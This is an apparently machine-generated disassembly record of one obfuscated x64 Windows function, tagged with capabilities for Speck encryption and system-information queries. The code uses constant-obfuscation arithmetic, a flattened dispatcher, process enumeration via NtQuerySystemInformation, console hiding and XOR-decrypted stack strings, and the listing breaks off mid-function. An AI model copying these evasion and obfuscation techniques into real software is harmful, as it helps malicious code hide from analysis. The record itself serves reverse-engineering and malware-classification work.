Function at 0x1401e6dfd
Capabilities:
Encrypt data using speck
Get system information on windows

Disassembly:
push rax
pushf
mov eax, 0xc76dcb39
pushf
not eax
add eax, 0xaad35fa3
xor eax, 0xe8dfdfd9
rol eax, 0x49
popf
pushf
not eax
add eax, 0xd9ade2b7
xor eax, 0x823a1e20
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb4fb8c0e
xor eax, 0x918054c5
rol eax, 0x62
popf
pushf
not eax
add eax, 0xec6e11d5
xor eax, 0x84f3ae48
rol eax, 0xba
popf
cmp eax, 0x20
jne 0x1401e6e60
popf
pop rax
jmp 0x1401eb5ee
cmp eax, 0
jne 0x1401e6e6f
popf
pop rax
jmp 0x1401e706d
cmp eax, 3
jne 0x1401e6e7e
popf
pop rax
jmp 0x1401e73c9
cmp eax, 1
jne 0x1401e6e8d
popf
pop rax
jmp 0x1401e7130
cmp eax, 0xd
jne 0x1401e6e9c
popf
pop rax
jmp 0x1401e7902
cmp eax, 0x1a
jne 0x1401e6eab
popf
pop rax
jmp 0x1401e9664
cmp eax, 0xe
jne 0x1401e6eba
popf
pop rax
jmp 0x1401e798d
cmp eax, 0xb
jne 0x1401e6ec9
popf
pop rax
jmp 0x1401e779d
cmp eax, 0x19
jne 0x1401e6ed8
popf
pop rax
jmp 0x1401e95c8
cmp eax, 8
jne 0x1401e6ee7
popf
pop rax
jmp 0x1401e76cb
cmp eax, 0x1d
jne 0x1401e6ef6
popf
pop rax
jmp 0x1401ea263
cmp eax, 0x17
jne 0x1401e6f05
popf
pop rax
jmp 0x1401e8a1c
cmp eax, 0x1c
jne 0x1401e6f14
popf
pop rax
jmp 0x1401ea1c6
cmp eax, 0x12
jne 0x1401e6f23
popf
pop rax
jmp 0x1401e7b76
cmp eax, 0x18
jne 0x1401e6f32
popf
pop rax
jmp 0x1401e94ba
cmp eax, 0x11
jne 0x1401e6f41
popf
pop rax
jmp 0x1401e7b29
cmp eax, 0x1b
jne 0x1401e6f50
popf
pop rax
jmp 0x1401ea093
cmp eax, 0x21
jne 0x1401e6f5f
popf
pop rax
jmp 0x1401eb6ec
cmp eax, 0x23
jne 0x1401e6f6e
popf
pop rax
jmp 0x1401ec2de
cmp eax, 0x14
jne 0x1401e6f7d
popf
pop rax
jmp 0x1401e7d13
cmp eax, 0xf
jne 0x1401e6f8c
popf
pop rax
jmp 0x1401e79fb
cmp eax, 0x13
jne 0x1401e6f9b
popf
pop rax
jmp 0x1401e7c77
cmp eax, 0x15
jne 0x1401e6faa
popf
pop rax
jmp 0x1401e8885
cmp eax, 0x22
jne 0x1401e6fb9
popf
pop rax
jmp 0x1401ec232
cmp eax, 0x1e
jne 0x1401e6fc8
popf
pop rax
jmp 0x1401eab55
cmp eax, 0xc
jne 0x1401e6fd7
popf
pop rax
jmp 0x1401e78b7
cmp eax, 7
jne 0x1401e6fe6
popf
pop rax
jmp 0x1401e767e
cmp eax, 5
jne 0x1401e6ff5
popf
pop rax
jmp 0x1401e7519
cmp eax, 0x1f
jne 0x1401e7004
popf
pop rax
jmp 0x1401ead35
cmp eax, 0x10
jne 0x1401e7013
popf
pop rax
jmp 0x1401e7a46
cmp eax, 6
jne 0x1401e7022
popf
pop rax
jmp 0x1401e75ad
cmp eax, 9
jne 0x1401e7031
popf
pop rax
jmp 0x1401e7724
cmp eax, 4
jne 0x1401e7040
popf
pop rax
jmp 0x1401e745f
cmp eax, 0x16
jne 0x1401e704f
popf
pop rax
jmp 0x1401e8993
cmp eax, 2
jne 0x1401e705e
popf
pop rax
jmp 0x1401e71c9
cmp eax, 0xa
jne 0x1401e706d
popf
pop rax
jmp 0x1401e7788
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb78
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x40]
mov ecx, 0x791b40d3
pushf
not ecx
add ecx, 0xe8966c99
xor ecx, 0xbf743e52
rol ecx, 0x46
popf
pushf
not ecx
add ecx, 0xcb12b1c9
xor ecx, 0x9f7cdf58
rol ecx, 1
popf
pushf
not ecx
add ecx, 0x965fb272
xor ecx, 0xe5fc895b
rol ecx, 0x85
popf
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [rsp + 0xd0], eax
push rax
pushf
mov eax, 0x8168963b
pushf
not eax
add eax, 0x9b8fbb20
xor eax, 0x99938748
rol eax, 0x86
popf
pushf
not eax
add eax, 0xbb6992dc
xor eax, 0xeb5814d0
rol eax, 0xd
popf
pushf
not eax
add eax, 0xe8ad2b67
xor eax, 0xd23ec6c3
rol eax, 0xb0
popf
jmp 0x1401e6e51
cmp dword [rsp + 0xd0], 0xc0000004
jne 0x1401e7196
push rax
pushf
mov eax, 0xc85ffd58
pushf
not eax
add eax, 0x8afd1560
xor eax, 0xccf57e4b
rol eax, 9
popf
pushf
not eax
add eax, 0xd0ccdc3a
xor eax, 0xbba1b8c3
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf05915cd
xor eax, 0xddc562fd
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf0dfb99f
xor eax, 0x8e7e672a
rol eax, 0x17
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0xa74d8c95
pushf
not eax
add eax, 0xaef97a08
xor eax, 0xe98dcde9
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd37d41d0
xor eax, 0xa9be5f6d
rol eax, 0x23
popf
jmp 0x1401e6e51
mov r8d, 0xaf32ecd3
pushf
not r8d
add r8d, 0xc4569411
xor r8d, 0xf0eb4c45
rol r8d, 0xa
popf
pushf
not r8d
add r8d, 0xcb994b04
xor r8d, 0xa7eb666c
rol r8d, 0x27
popf
xor edx, edx
mov rcx, qword [rsp + 0x40]
jmp 0x1401e7209
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x34]
mov r9d, 0xb98b7f6b
pushf
not r9d
add r9d, 0xe685cbc6
xor r9d, 0xeadeb9fb
rol r9d, 0x81
popf
pushf
not r9d
add r9d, 0xb93ffabf
xor r9d, 0xb06f1e46
rol r9d, 0xda
popf
pushf
not r9d
add r9d, 0xdb0c273b
xor r9d, 0x991fe240
rol r9d, 0xdd
popf
pushf
not r9d
add r9d, 0xb362f139
xor r9d, 0xe3b23d22
rol r9d, 0x96
popf
mov r8d, 0x2f0f40a1
pushf
not r8d
add r8d, 0x945b11a6
xor r8d, 0x8d262352
rol r8d, 0x68
popf
pushf
not r8d
add r8d, 0xcabdf987
xor r8d, 0xc8265929
rol r8d, 0xbb
popf
pushf
not r8d
add r8d, 0xc233c174
xor r8d, 0x8994bb93
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0xc50ba2c5
xor r8d, 0xdb06d6ac
rol r8d, 0xbe
popf
mov edx, eax
xor ecx, ecx
jmp 0x1401e72ec
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x40]
mov ecx, 0x9260f0ff
pushf
not ecx
add ecx, 0x97606ef5
xor ecx, 0xb884f055
rol ecx, 0xc1
popf
pushf
not ecx
add ecx, 0xc93395bd
xor ecx, 0xf1a887e6
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xd6778eb1
xor ecx, 0xd20ae01b
rol ecx, 0x86
popf
pushf
not ecx
add ecx, 0x868f0f19
xor ecx, 0xbb39dbb5
rol ecx, 0x63
popf
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [rsp + 0xd0], eax
jmp 0x1401e7130
cmp dword [rsp + 0xd0], 0
jl 0x1401e7419
push rax
pushf
mov eax, 0x51d10722
pushf
not eax
add eax, 0x8a13fe01
xor eax, 0x8e9b3d07
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xaa61d6a3
xor eax, 0xf394ce8d
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd04bfd4e
xor eax, 0xea5a6542
rol eax, 0xbc
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x5fe49e7
pushf
not eax
add eax, 0xa898e54c
xor eax, 0xd9a3e22a
rol eax, 0x17
popf
pushf
not eax
add eax, 0x97d62085
xor eax, 0x80a97838
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xdee698c4
xor eax, 0xe2f62a12
rol eax, 0xb9
popf
jmp 0x1401e6e51
cmp qword [rsp + 0x40], 0
jne 0x1401e74c0
push rax
pushf
mov eax, 0x573625d6
pushf
not eax
add eax, 0xc6c99670
xor eax, 0xb46d85bf
rol eax, 9
popf
pushf
not eax
add eax, 0xc8c7d551
xor eax, 0xe17f16fb
rol eax, 9
popf
pushf
not eax
add eax, 0xc48d8879
xor eax, 0xbc56d58b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xa211e194
xor eax, 0xa5de2079
rol eax, 0x84
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x6f6e508e
pushf
not eax
add eax, 0x8d45a78a
xor eax, 0xbe922635
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc5fba649
xor eax, 0xd7054c38
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xb6aea6c6
xor eax, 0xd4d24fa6
rol eax, 3
popf
pushf
not eax
add eax, 0xb17b9e78
xor eax, 0xbeedab17
rol eax, 0xd3
popf
jmp 0x1401e6e51
cmp qword [rsp + 0x40], 0
je 0x1401e7567
push rax
pushf
mov eax, 0xe91cf1e3
pushf
not eax
add eax, 0xf2cf3965
xor eax, 0xce7a1b6d
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x8d21b8f6
xor eax, 0xe03bcac3
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xbee808e5
xor eax, 0xe7ab9238
rol eax, 0x4b
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0xbb048d49
pushf
not eax
add eax, 0xa7e419cb
xor eax, 0x803556c0
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xf5c5f881
xor eax, 0xa767a40b
rol eax, 0xb
popf
pushf
not eax
add eax, 0xec24252c
xor eax, 0xf0861b12
rol eax, 0xbb
popf
jmp 0x1401e6e51
mov r8d, 0xe486ad3a
pushf
not r8d
add r8d, 0xa3d46c0a
xor r8d, 0x9ff926c2
rol r8d, 0x8f
popf
pushf
not r8d
add r8d, 0xf0f840c3
xor r8d, 0xd38c5700
rol r8d, 0x40
popf
pushf
not r8d
add r8d, 0xcbe79e4f
xor r8d, 0x91c86086
rol r8d, 0xa9
popf
pushf
not r8d
add r8d, 0xcc8688b6
xor r8d, 0x88d9cf2a
rol r8d, 0x84
popf
xor edx, edx
mov rcx, qword [rsp + 0x40]
jmp 0x1401e761f
call qword [sym.imp.KERNEL32.dll_VirtualFree]
push rax
pushf
mov eax, 0x9dfbd428
pushf
not eax
add eax, 0xe353d961
xor eax, 0x81d443e2
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xff2e30a7
xor eax, 0xbc6c97d2
rol eax, 0x63
popf
pushf
not eax
add eax, 0xe960f366
xor eax, 0xb09180ee
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xc73aedf3
xor eax, 0xbeb7c126
rol eax, 0x42
popf
jmp 0x1401e6e51
xor al, al
jmp 0x1401ec2de
mov qword [rsp + 0xf8], 0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1c8], rax
mov dword [rsp + 0x38], 0
jmp 0x1401e7788
mov eax, dword [rsp + 0x38]
jmp 0x1401e7729
inc eax
mov dword [rsp + 0x38], eax
push rax
pushf
mov eax, 0x79708562
pushf
not eax
add eax, 0x991a76de
xor eax, 0x8547749b
rol eax, 0x38
popf
pushf
not eax
add eax, 0xd13e3d94
xor eax, 0xae3aeb40
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x8e778515
xor eax, 0xaf1c3702
rol eax, 0xed
popf
pushf
not eax
add eax, 0xd7e7795d
xor eax, 0xb3462b93
rol eax, 0xf1
popf
jmp 0x1401e6e51
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x1c8]
cmp rax, qword [rcx]
jae 0x1401e7a46
mov eax, dword [rsp + 0x38]
imul rax, rax, 0x28
lea rcx, [rsp + 0xb40]
mov rdx, qword [rsp + 0x1c8]
mov rdi, rcx
lea rsi, [rdx + rax + 0x10]
mov ecx, 0x5e5c48e3
pushf
not ecx
add ecx, 0xe26da2c3
xor ecx, 0xb241a37f
rol ecx, 0xa6
popf
pushf
not ecx
add ecx, 0x8ef44220
xor ecx, 0x942c437e
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0x8326a942
xor ecx, 0xa48b2ed9
rol ecx, 0x79
popf
pushf
not ecx
add ecx, 0x996a0a7c
xor ecx, 0xd987e78a
rol ecx, 0x5b
popf
rep movsb byte [rdi], byte [rsi]
jmp 0x1401e7819
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
cmp qword [rsp + 0xb48], rax
je 0x1401e785e
push rax
pushf
mov eax, 0xc6532063
pushf
not eax
add eax, 0xcf1f6e68
xor eax, 0xcbcfeedc
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x836674d1
xor eax, 0xbd4e57c6
rol eax, 0xc0
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x17ebfe9f
pushf
not eax
add eax, 0xd2156cec
xor eax, 0xcbba0e46
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xcc450d9b
xor eax, 0x9b9dbc4a
rol eax, 0x38
popf
pushf
not eax
add eax, 0xcfda5f5a
xor eax, 0xf0e51f59
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xd6514296
xor eax, 0x96a6b395
rol eax, 0xca
popf
jmp 0x1401e6e51
jmp 0x1401e7724
mov rax, qword [rsp + 0xb90]
cmp qword [rsp + 0xb50], rax
jne 0x1401e795a
push rax
pushf
mov eax, 0x765d18a8
pushf
not eax
add eax, 0xa7869a8f
xor eax, 0xb5b6f4da
rol eax, 0x66
popf
pushf
not eax
add eax, 0xc65c9c0f
xor eax, 0x95aeeb5a
rol eax, 0x65
popf
pushf
not eax
add eax, 0xfe4f7d68
xor eax, 0x8a1a8686
rol eax, 0x48
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x41bcb80d
pushf
not eax
add eax, 0xd7a16652
xor eax, 0xca39f955
rol eax, 0x93
popf
pushf
not eax
add eax, 0x95fd64e3
xor eax, 0xdd6c65f8
rol eax, 0xaf
popf
jmp 0x1401e6e51
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0xf8], rax
jmp 0x1401e7a46
jmp 0x1401e7724
mov r8d, 0x63a7ee82
pushf
not r8d
add r8d, 0xc5d2edbe
xor r8d, 0xe86e783d
rol r8d, 0xd5
popf
pushf
not r8d
add r8d, 0x9bb32f23
xor r8d, 0xd1144f2d
rol r8d, 0x75
popf
pushf
not r8d
add r8d, 0xf52b8b54
xor r8d, 0xbd3e0d9e
rol r8d, 0x47
popf
xor edx, edx
mov rcx, qword [rsp + 0x40]
jmp 0x1401e7a9f
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp qword [rsp + 0xf8], 0
jne 0x1401e7af6
push rax
pushf
mov eax, 0xb442d95d
pushf
not eax
add eax, 0x8e23ac59
xor eax, 0xab5f5e6b
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x8f9f11d9
xor eax, 0xf5d052ae
rol eax, 5
popf
pushf
not eax
add eax, 0x913afae0
xor eax, 0xc9e081db
rol eax, 0x48
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0xf5f41bc7
pushf
not eax
add eax, 0xec842761
xor eax, 0xc5feddb7
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xc863937c
xor eax, 0xaeac286d
rol eax, 0x21
popf
jmp 0x1401e6e51
xor al, al
jmp 0x1401ec2de
mov qword [rsp + 0x100], 0
mov rax, qword [rsp + 0xf8]
add rax, 8
mov r9d, 0x9898d605
pushf
not r9d
add r9d, 0x95bc10e6
xor r9d, 0x9e2c06f9
rol r9d, 0x50
popf
pushf
not r9d
add r9d, 0xf351d270
xor r9d, 0xebb52bb8
rol r9d, 0xa6
popf
pushf
not r9d
add r9d, 0xd4d75ea9
xor r9d, 0xb1062891
rol r9d, 0x2c
popf
lea r8, [rsp + 0x100]
mov rdx, rax
mov rcx, qword [rsp + 0xb90]
call fcn.140361bad
movzx eax, al
test eax, eax
je 0x1401e7c31
push rax
pushf
mov eax, 0xbe9f8ab9
pushf
not eax
add eax, 0x803c3533
xor eax, 0xfd9e32c7
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc1651547
xor eax, 0xac9f23fe
rol eax, 0x5d
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0xee027061
pushf
not eax
add eax, 0xfec8d3cc
xor eax, 0x93718026
rol eax, 0x54
popf
pushf
not eax
add eax, 0x8eb8cb71
xor eax, 0xd2933c81
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xcea725fb
xor eax, 0xf4bd6049
rol eax, 0xce
popf
jmp 0x1401e6e51
cmp qword [rsp + 0x100], 0
jne 0x1401e7ccc
push rax
pushf
mov eax, 0xef33a1d7
pushf
not eax
add eax, 0x9943aeba
xor eax, 0xccf276bb
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xb2d9f069
xor eax, 0x8cdb68de
rol eax, 0x30
popf
pushf
not eax
add eax, 0xd6c73fa9
xor eax, 0x823d4632
rol eax, 0x4d
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0xe1edec5
pushf
not eax
add eax, 0xa0618908
xor eax, 0xbc8afc53
rol eax, 0x20
popf
pushf
not eax
add eax, 0xb45aa8d2
xor eax, 0xe6ed95d5
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x929297ba
xor eax, 0xb2a0d235
rol eax, 0x5e
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x7bc7941d
pushf
not edx
add edx, 0x95254581
xor edx, 0xe3e0520b
rol edx, 0x1a
popf
pushf
not edx
add edx, 0x847ffad5
xor edx, 0xb5a956cd
rol edx, 0xfc
popf
pushf
not edx
add edx, 0xf90ca4ed
xor edx, 0xed40d81d
rol edx, 0xd5
popf
pushf
not edx
add edx, 0xcdfd9a87
xor edx, 0xdcc5af86
rol edx, 0xd6
popf
mov rcx, rax
jmp 0x1401e7d76
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x4ef7de70
pushf
not ecx
add ecx, 0xfa5066ee
xor ecx, 0x983cf222
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0xb2a194ec
xor ecx, 0x89085102
rol ecx, 0x7f
popf
pushf
not ecx
add ecx, 0xd2007540
xor ecx, 0x91f85ce0
rol ecx, 0x4b
popf
pushf
not ecx
add ecx, 0x9d5106de
xor ecx, 0xf3c4a4e7
rol ecx, 0x58
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x21]
mov rdi, rax
xor eax, eax
mov ecx, 0xee7d7148
pushf
not ecx
add ecx, 0xbd512ac3
xor ecx, 0xffeb30b1
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xd5f88132
xor ecx, 0xf04fe4ed
rol ecx, 0x4c
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x1d0], rax
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0xc8], al
movabs rax, 0xf8cfa6adb40d2140
pushf
not rax
add rax, 0x7fb6b715
xor rax, 0x4af996f5
rol rax, 0xba
popf
pushf
not rax
add rax, 0x73d2f2ac
xor rax, 0x79fd7965
rol rax, 0x71
popf
pushf
not rax
add rax, 0x4e429b41
xor rax, 0x7998e271
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x7f95e139
xor rax, 0x4ee75ea7
rol rax, 0x6a
popf
mov qword [rsp + 0x300], rax
movabs rax, 0xfd681fa2a3e6ffa3
pushf
not rax
add rax, 0x672f6d74
xor rax, 0x7c60ef16
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x57419c78
xor rax, 0x6774dba4
rol rax, 0x83
popf
pushf
not rax
add rax, 0x5dfd8848
xor rax, 0x4902a7ea
rol rax, 0xd7
popf
mov qword [rsp + 0x308], rax
movabs rax, 0x684cb2a3fbe1bf04
pushf
not rax
add rax, 0x50189ba3
xor rax, 0x590260e8
rol rax, 6
popf
pushf
not rax
add rax, 0x67dc9edb
xor rax, 0x571bda34
rol rax, 0x39
popf
mov qword [rsp + 0x310], rax
movabs rax, 0x7ddad82b8424a433
pushf
not rax
add rax, 0x5467b88c
xor rax, 0x451799af
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x46f8c0ed
xor rax, 0x5c65d706
rol rax, 0x9a
popf
mov qword [rsp + 0x318], rax
movabs rax, 0xf2710d7824211b99
pushf
not rax
add rax, 0x5fb4de64
xor rax, 0x4be01e9e
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x4c56784b
xor rax, 0x581f9ce3
rol rax, 0x26
popf
pushf
not rax
add rax, 0x5da829ac
xor rax, 0x509fd73c
rol rax, 0x99
popf
pushf
not rax
add rax, 0x429035e9
xor rax, 0x701e15b8
rol rax, 7
popf
mov qword [rsp + 0x320], rax
movabs rax, 0xbe82b3de0e2c7d48
pushf
not rax
add rax, 0x453fffcb
xor rax, 0x6734c463
rol rax, 0x30
popf
pushf
not rax
add rax, 0x6839fce5
xor rax, 0x7b09566f
rol rax, 0x82
popf
pushf
not rax
add rax, 0x7b7d5012
xor rax, 0x5601e366
rol rax, 0xf9
popf
mov qword [rsp + 0x328], rax
movabs rax, 0x25d21b5cd2ff7631
pushf
not rax
add rax, 0x7d39b6f8
xor rax, 0x6fb47475
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x5755031f
xor rax, 0x5d502ba2
rol rax, 0x20
popf
pushf
not rax
add rax, 0x6d8b9777
xor rax, 0x5a661722
rol rax, 0x4d
popf
mov qword [rsp + 0x330], rax
movabs rax, 0xaca6295016c19f4c
pushf
not rax
add rax, 0x525d858c
xor rax, 0x52e80c37
rol rax, 0x10
popf
pushf
not rax
add rax, 0x7eb4ded7
xor rax, 0x691cfbe9
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x49796d51
xor rax, 0x5da9a98c
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x71520282
xor rax, 0x7bf8267d
rol rax, 0x6a
popf
mov qword [rsp + 0x338], rax
movabs rax, 0xc85d091e87feacaa
pushf
not rax
add rax, 0x6213fac2
xor rax, 0x65eb5e61
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x60943788
xor rax, 0x715ecf19
rol rax, 0xac
popf
pushf
not rax
add rax, 0x65d8a28a
xor rax, 0x7c9c8bad
rol rax, 0x63
popf
pushf
not rax
add rax, 0x5e0b3051
xor rax, 0x47862055
rol rax, 0x32
popf
mov qword [rsp + 0x340], rax
movabs rax, 0x85bcde1b607a1fb5
pushf
not rax
add rax, 0x7037b31b
xor rax, 0x413e5506
rol rax, 0x77
popf
pushf
not rax
add rax, 0x7327eabf
xor rax, 0x5271c83e
rol rax, 0xab
popf
pushf
not rax
add rax, 0x528195a2
xor rax, 0x4aa3803c
rol rax, 0xe5
popf
mov qword [rsp + 0x348], rax
movabs rax, 0x363ebaf539ddb9f0
pushf
not rax
add rax, 0x671bb267
xor rax, 0x58abca50
rol rax, 0xed
popf
pushf
not rax
add rax, 0x7f73ff6d
xor rax, 0x45ad6bfa
rol rax, 0x55
popf
pushf
not rax
add rax, 0x6ac59c0a
xor rax, 0x42b8e28b
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x4ed37af7
xor rax, 0x4731efe3
rol rax, 0x2a
popf
mov qword [rsp + 0x510], rax
movabs rax, 0xca0f2a6e3b28d1c
pushf
not rax
add rax, 0x62826701
xor rax, 0x4f7f25fa
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x549eb80e
xor rax, 0x7b4a2667
rol rax, 0xb
popf
mov qword [rsp + 0x518], rax
movabs rax, 0x1d8ff26641a4ada4
pushf
not rax
add rax, 0x422870bd
xor rax, 0x60d58516
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x705b02f4
xor rax, 0x577a43ad
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x70b2282f
xor rax, 0x69f78dd0
rol rax, 0x10
popf
mov qword [rsp + 0x520], rax
movabs rax, 0x69180618c9173911
pushf
not rax
add rax, 0x4e518e54
xor rax, 0x5719aeda
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x46f51464
xor rax, 0x55de8488
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x70bcc0fd
xor rax, 0x75f89439
rol rax, 0x31
popf
pushf
not rax
add rax, 0x5db1a111
xor rax, 0x6b74d324
rol rax, 0xf6
popf
mov qword [rsp + 0x528], rax
movabs rax, 0xda526f38ae5f6d37
pushf
not rax
add rax, 0x78f92e02
xor rax, 0x51d93666
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x4cbd8f24
xor rax, 0x413836eb
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x4c4e06c4
xor rax, 0x67f5d88e
rol rax, 0x67
popf
mov qword [rsp + 0x530], rax
movabs rax, 0xd30e544968feadfb
pushf
not rax
add rax, 0x63b806db
xor rax, 0x648701e1
rol rax, 0x55
popf
pushf
not rax
add rax, 0x72e8dd20
xor rax, 0x49bb87ea
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x67ece73c
xor rax, 0x5dd2aa71
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x73813d27
xor rax, 0x431a077e
rol rax, 0xfb
popf
mov qword [rsp + 0x538], rax
movabs rax, 0x6425b32b10af073c
pushf
not rax
add rax, 0x7f40b02e
xor rax, 0x6b11ca40
rol rax, 0x70
popf
pushf
not rax
add rax, 0x50be6b82
xor rax, 0x5d4c1676
rol rax, 0x56
popf
pushf
not rax
add rax, 0x71ec9078
xor rax, 0x6c0df555
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x67d031d9
xor rax, 0x7bc69523
rol rax, 0xf9
popf
mov qword [rsp + 0x540], rax
movabs rax, 0xc4266593ee55558d
pushf
not rax
add rax, 0x6e96e6bf
xor rax, 0x68db172f
rol rax, 0x81
popf
pushf
not rax
add rax, 0x7c31ca0f
xor rax, 0x5f547baa
rol rax, 0x54
popf
mov qword [rsp + 0x548], rax
movabs rax, 0x651529d0eb15d92e
pushf
not rax
add rax, 0x7a371be6
xor rax, 0x7fc7c476
rol rax, 0x16
popf
pushf
not rax
add rax, 0x61ee5f69
xor rax, 0x751a814e
rol rax, 0x61
popf
pushf
not rax
add rax, 0x57b35f72
xor rax, 0x77ad78ca
rol rax, 0x64
popf
mov qword [rsp + 0x550], rax
movabs rax, 0x280595a62a1df83a
pushf
not rax
add rax, 0x6774698f
xor rax, 0x704f403f
rol rax, 0x18
popf
pushf
not rax
add rax, 0x4d8fdad2
xor rax, 0x6d2ef395
rol rax, 0x85
popf
pushf
not rax
add rax, 0x52ac6630
xor rax, 0x5a8eaa8c
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x6fd45c28
xor rax, 0x4e4306a3
rol rax, 0x7d
popf
mov qword [rsp + 0x558], rax
lea rax, [rsp + 0x22]
mov rdi, rax
xor eax, eax
mov ecx, 0xf10ee0e5
pushf
not ecx
add ecx, 0xed26ef02
xor ecx, 0x9273429c
rol ecx, 0xaa
popf
pushf
not ecx
add ecx, 0xd4d73aae
xor ecx, 0xb0d47233
rol ecx, 0xe9
popf
pushf
not ecx
add ecx, 0xdac682e6
xor ecx, 0xd830f3b7
rol ecx, 0xc3
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x22]
mov byte [rsp + 0xd8], al
movdqa xmm0, xmmword [rsp + 0x510]
movdqa xmmword [rsp + 0xa80], xmm0
movdqa xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x860], xmm0
movdqa xmm0, xmmword [rsp + 0x860]
pxor xmm0, xmmword [rsp + 0xa80]
movdqa xmmword [rsp + 0xa90], xmm0
movdqa xmm0, xmmword [rsp + 0xa90]
movdqa xmmword [rsp + 0x300], xmm0
lea rax, [rsp + 0x310]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x520]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xab0], xmm0
mov rax, qword [rsp + 0x118]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xaa0], xmm0
movdqa xmm0, xmmword [rsp + 0xaa0]
pxor xmm0, xmmword [rsp + 0xab0]
movdqa xmmword [rsp + 0xac0], xmm0
mov rax, qword [rsp + 0x118]
movdqa xmm0, xmmword [rsp + 0xac0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x320]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x530]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xae0], xmm0
mov rax, qword [rsp + 0x120]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xad0], xmm0
movdqa xmm0, xmmword [rsp + 0xad0]
pxor xmm0, xmmword [rsp + 0xae0]
movdqa xmmword [rsp + 0xaf0], xmm0
mov rax, qword [rsp + 0x120]
movdqa xmm0, xmmword [rsp + 0xaf0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x330]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x540]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb10], xmm0
mov rax, qword [rsp + 0x128]
